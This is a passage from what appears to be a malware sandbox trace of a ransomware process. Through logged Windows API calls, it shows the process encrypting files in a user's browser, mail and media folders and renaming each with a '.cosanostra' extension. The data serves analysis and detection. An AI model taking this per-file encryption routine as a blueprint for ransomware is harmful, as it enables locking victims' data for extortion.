returned 1 [0103.956] WriteFile (in: hFile=0x138, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251ef44, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x251ef44*=0x30, lpOverlapped=0x0) returned 1 [0103.956] CloseHandle (hObject=0x138) returned 1 [0103.956] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\61\\28E95d01.cosanostra") returned 120 [0103.956] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\61\\28E95d01" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\9\\61\\28e95d01"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\61\\28E95d01.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\9\\61\\28e95d01.cosanostra")) returned 1 [0103.958] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ef80 | out: pbBuffer=0x251ef80) returned 1 [0103.959] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251ef78*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251ef78*=0x30) returned 1 [0103.959] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\2C\\24B53d01" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\9\\2c\\24b53d01"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0103.959] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\2C\\24B53d01") returned 109 [0103.959] StrStrW (lpFirst="24B53d01", lpSrch=".txt") returned 0x0 [0104.054] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0104.054] WriteFile (in: hFile=0x138, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251ef3c, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x251ef3c*=0x2800, lpOverlapped=0x0) returned 1 [0104.054] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0104.054] WriteFile (in: hFile=0x138, lpBuffer=0x251ef7c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251ef3c, lpOverlapped=0x0 | out: lpBuffer=0x251ef7c*, lpNumberOfBytesWritten=0x251ef3c*=0x4, lpOverlapped=0x0) returned 1 [0104.224] WriteFile (in: hFile=0x138, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251ef3c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x251ef3c*=0x30, lpOverlapped=0x0) returned 1 [0104.224] CloseHandle (hObject=0x138) returned 1 [0104.224] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\2C\\24B53d01.cosanostra") returned 120 [0104.224] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\2C\\24B53d01" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\9\\2c\\24b53d01"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\2C\\24B53d01.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\9\\2c\\24b53d01.cosanostra")) returned 1 [0104.225] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ef80 | out: pbBuffer=0x251ef80) returned 1 [0104.225] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251ef78*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251ef78*=0x30) returned 1 [0104.225] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\edb.chk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\edb.chk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0104.226] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\edb.chk") returned 78 [0104.226] StrStrW (lpFirst="edb.chk", lpSrch=".txt") returned 0x0 [0104.389] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffe000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0104.389] WriteFile (in: hFile=0x138, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x251ef3c, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251ef3c*=0x2000, lpOverlapped=0x0) returned 1 [0104.390] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0104.390] WriteFile (in: hFile=0x138, lpBuffer=0x251ef7c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251ef3c, lpOverlapped=0x0 | out: lpBuffer=0x251ef7c*, lpNumberOfBytesWritten=0x251ef3c*=0x4, lpOverlapped=0x0) returned 1 [0104.390] WriteFile (in: hFile=0x138, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251ef3c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x251ef3c*=0x30, lpOverlapped=0x0) returned 1 [0104.390] CloseHandle (hObject=0x138) returned 1 [0104.390] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\edb.chk.cosanostra") returned 89 [0104.390] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\edb.chk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\edb.chk"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\edb.chk.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\edb.chk.cosanostra")) returned 1 [0104.391] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ef78 | out: pbBuffer=0x251ef78) returned 1 [0104.391] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251ef70*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251ef70*=0x30) returned 1 [0104.391] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\02_Music_added_in_the_last_month.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\02_music_added_in_the_last_month.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0104.392] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\02_Music_added_in_the_last_month.wpl") returned 137 [0104.392] StrStrW (lpFirst="02_Music_added_in_the_last_month.wpl", lpSrch=".txt") returned 0x0 [0104.778] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffffb01, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0104.778] WriteFile (in: hFile=0x138, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x4ff, lpNumberOfBytesWritten=0x251ef34, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251ef34*=0x4ff, lpOverlapped=0x0) returned 1 [0104.778] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0104.778] WriteFile (in: hFile=0x138, lpBuffer=0x251ef74*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251ef34, lpOverlapped=0x0 | out: lpBuffer=0x251ef74*, lpNumberOfBytesWritten=0x251ef34*=0x4, lpOverlapped=0x0) returned 1 [0104.778] WriteFile (in: hFile=0x138, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251ef34, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x251ef34*=0x30, lpOverlapped=0x0) returned 1 [0104.778] CloseHandle (hObject=0x138) returned 1 [0104.779] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\02_Music_added_in_the_last_month.wpl.cosanostra") returned 148 [0104.779] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\02_Music_added_in_the_last_month.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\02_music_added_in_the_last_month.wpl"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\02_Music_added_in_the_last_month.wpl.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\02_music_added_in_the_last_month.wpl.cosanostra")) returned 1 [0104.780] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ef78 | out: pbBuffer=0x251ef78) returned 1 [0104.780] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251ef70*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251ef70*=0x30) returned 1 [0104.780] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\07_TV_recorded_in_the_last_week.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\07_tv_recorded_in_the_last_week.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0104.839] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\07_TV_recorded_in_the_last_week.wpl") returned 136 [0104.839] StrStrW (lpFirst="07_TV_recorded_in_the_last_week.wpl", lpSrch=".txt") returned 0x0 [0104.870] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffffbf0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0104.870] WriteFile (in: hFile=0x138, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x410, lpNumberOfBytesWritten=0x251ef34, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x251ef34*=0x410, lpOverlapped=0x0) returned 1 [0104.870] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0104.870] WriteFile (in: hFile=0x138, lpBuffer=0x251ef74*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251ef34, lpOverlapped=0x0 | out: lpBuffer=0x251ef74*, lpNumberOfBytesWritten=0x251ef34*=0x4, lpOverlapped=0x0) returned 1 [0104.870] WriteFile (in: hFile=0x138, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251ef34, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x251ef34*=0x30, lpOverlapped=0x0) returned 1 [0104.870] CloseHandle (hObject=0x138) returned 1 [0104.871] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\07_TV_recorded_in_the_last_week.wpl.cosanostra") returned 147 [0104.871] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\07_TV_recorded_in_the_last_week.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\07_tv_recorded_in_the_last_week.wpl"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\07_TV_recorded_in_the_last_week.wpl.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\07_tv_recorded_in_the_last_week.wpl.cosanostra")) returned 1 [0104.872] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ef70 | out: pbBuffer=0x251ef70) returned 1 [0104.872] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251ef68*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251ef68*=0x30) returned 1 [0104.872] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\03_Music_rated_at_4_or_5_stars.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\03_music_rated_at_4_or_5_stars.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0104.876] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\03_Music_rated_at_4_or_5_stars.wpl") returned 135 [0104.876] StrStrW (lpFirst="03_Music_rated_at_4_or_5_stars.wpl", lpSrch=".txt") returned 0x0 [0104.878] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xfffffb0d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0104.878] WriteFile (in: hFile=0x15c, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x4f3, lpNumberOfBytesWritten=0x251ef2c, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251ef2c*=0x4f3, lpOverlapped=0x0) returned 1 [0104.878] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0104.878] WriteFile (in: hFile=0x15c, lpBuffer=0x251ef6c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251ef2c, lpOverlapped=0x0 | out: lpBuffer=0x251ef6c*, lpNumberOfBytesWritten=0x251ef2c*=0x4, lpOverlapped=0x0) returned 1 [0104.878] WriteFile (in: hFile=0x15c, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251ef2c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x251ef2c*=0x30, lpOverlapped=0x0) returned 1 [0104.878] CloseHandle (hObject=0x15c) returned 1 [0104.879] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\03_Music_rated_at_4_or_5_stars.wpl.cosanostra") returned 146 [0104.879] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\03_Music_rated_at_4_or_5_stars.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\03_music_rated_at_4_or_5_stars.wpl"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\03_Music_rated_at_4_or_5_stars.wpl.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\03_music_rated_at_4_or_5_stars.wpl.cosanostra")) returned 1 [0104.880] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ef70 | out: pbBuffer=0x251ef70) returned 1 [0104.884] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251ef68*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251ef68*=0x30) returned 1 [0104.884] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\02_Music_added_in_the_last_month.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\02_music_added_in_the_last_month.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0104.890] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\02_Music_added_in_the_last_month.wpl") returned 137 [0104.890] StrStrW (lpFirst="02_Music_added_in_the_last_month.wpl", lpSrch=".txt") returned 0x0 [0104.893] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xfffffb01, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0104.893] WriteFile (in: hFile=0x15c, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x4ff, lpNumberOfBytesWritten=0x251ef2c, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251ef2c*=0x4ff, lpOverlapped=0x0) returned 1 [0104.893] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0104.893] WriteFile (in: hFile=0x15c, lpBuffer=0x251ef6c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251ef2c, lpOverlapped=0x0 | out: lpBuffer=0x251ef6c*, lpNumberOfBytesWritten=0x251ef2c*=0x4, lpOverlapped=0x0) returned 1 [0104.893] WriteFile (in: hFile=0x15c, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251ef2c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x251ef2c*=0x30, lpOverlapped=0x0) returned 1 [0104.893] CloseHandle (hObject=0x15c) returned 1 [0104.893] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\02_Music_added_in_the_last_month.wpl.cosanostra") returned 148 [0104.893] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\02_Music_added_in_the_last_month.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\02_music_added_in_the_last_month.wpl"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\02_Music_added_in_the_last_month.wpl.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\02_music_added_in_the_last_month.wpl.cosanostra")) returned 1 [0104.894] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ef68 | out: pbBuffer=0x251ef68) returned 1 [0104.894] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251ef60*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251ef60*=0x30) returned 1 [0104.894] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Work~.feed-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds\\microsoft feeds~\\microsoft at work~.feed-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0104.895] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Work~.feed-ms") returned 107 [0104.895] StrStrW (lpFirst="Microsoft at Work~.feed-ms", lpSrch=".txt") returned 0x0 [0104.923] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0104.923] WriteFile (in: hFile=0x15c, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251ef24, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251ef24*=0x2800, lpOverlapped=0x0) returned 1 [0104.923] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0104.923] WriteFile (in: hFile=0x15c, lpBuffer=0x251ef64*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251ef24, lpOverlapped=0x0 | out: lpBuffer=0x251ef64*, lpNumberOfBytesWritten=0x251ef24*=0x4, lpOverlapped=0x0) returned 1 [0104.923] WriteFile (in: hFile=0x15c, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251ef24, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x251ef24*=0x30, lpOverlapped=0x0) returned 1 [0104.923] CloseHandle (hObject=0x15c) returned 1 [0104.923] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Work~.feed-ms.cosanostra") returned 118 [0104.923] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Work~.feed-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds\\microsoft feeds~\\microsoft at work~.feed-ms"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Work~.feed-ms.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds\\microsoft feeds~\\microsoft at work~.feed-ms.cosanostra")) returned 1 [0104.924] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ef68 | out: pbBuffer=0x251ef68) returned 1 [0104.924] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251ef60*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251ef60*=0x30) returned 1 [0104.924] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Origin Bound Certs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\origin bound certs"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0104.924] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Origin Bound Certs") returned 98 [0104.924] StrStrW (lpFirst="Origin Bound Certs", lpSrch=".txt") returned 0x0 [0104.926] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffec00, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0104.926] WriteFile (in: hFile=0x15c, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x1400, lpNumberOfBytesWritten=0x251ef24, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251ef24*=0x1400, lpOverlapped=0x0) returned 1 [0104.926] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0104.926] WriteFile (in: hFile=0x15c, lpBuffer=0x251ef64*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251ef24, lpOverlapped=0x0 | out: lpBuffer=0x251ef64*, lpNumberOfBytesWritten=0x251ef24*=0x4, lpOverlapped=0x0) returned 1 [0104.926] WriteFile (in: hFile=0x15c, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251ef24, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, 